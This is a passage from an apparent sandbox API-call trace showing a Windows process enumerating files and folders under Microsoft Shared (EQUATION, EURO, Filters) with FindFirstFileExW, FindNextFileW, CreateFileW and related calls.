nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0045.909] GetLastError () returned 0x12 [0045.909] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cb8 [0045.909] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0045.909] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.909] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0045.909] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0045.909] GetLastError () returned 0x12 [0045.909] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed41f8) returned 1 [0045.909] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0045.909] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.909] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.909] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0045.909] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0045.909] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="")) returned 1 [0045.909] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0045.909] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0045.910] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0045.910] GetLastError () returned 0x12 [0045.910] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed40e8) returned 1 [0045.910] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0045.910] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0045.910] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0045.910] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0045.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0045.910] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO" (normalized: "c:\\program files\\common files\\microsoft shared\\euro"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO" (normalized: "c:\\program files\\common files\\microsoft shared\\euro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0045.911] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0045.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedfe90 [0045.911] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedfe90, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xedfe90, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0045.911] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedfe90) returned 1 [0045.911] NtClose (Handle=0x170) returned 0x0 [0045.911] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0045.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0045.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed40e8 [0045.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.911] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0045.911] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.911] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0045.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.911] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.911] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.912] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.912] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0045.912] GetLastError () returned 0x12 [0045.912] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cb8 [0045.912] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0045.912] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.912] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0045.912] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0045.912] GetLastError () returned 0x12 [0045.912] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.912] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0045.912] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed40e8) returned 1 [0045.912] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0045.912] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0045.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0045.912] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters" (normalized: "c:\\program files\\common files\\microsoft shared\\filters"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters" (normalized: "c:\\program files\\common files\\microsoft shared\\filters"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0045.913] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0045.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedfe90 [0045.913] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedfe90, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xedfe90, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0045.913] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedfe90) returned 1 [0045.913] NtClose (Handle=0x178) returned 0x0 [0045.913] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0045.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0045.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed40e8 [0045.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.913] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cb8 [0045.914] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.914] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0045.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.914] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.914] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.914] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.914] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0045.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.914] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.914] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.914] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.914] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0045.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.914] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.914] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.914] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.914] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0045.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.914] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.914] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.914] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.914] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0045.915] GetLastError () returned 0x12 [0045.915] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0045.915] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0045.915] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.915] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0045.915] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0045.915] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0045.915] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0045.915] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0045.915] GetLastError () returned 0x12 [0045.915] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.915] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0045.915] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed40e8) returned 1 [0045.915] RtlFreeHeap 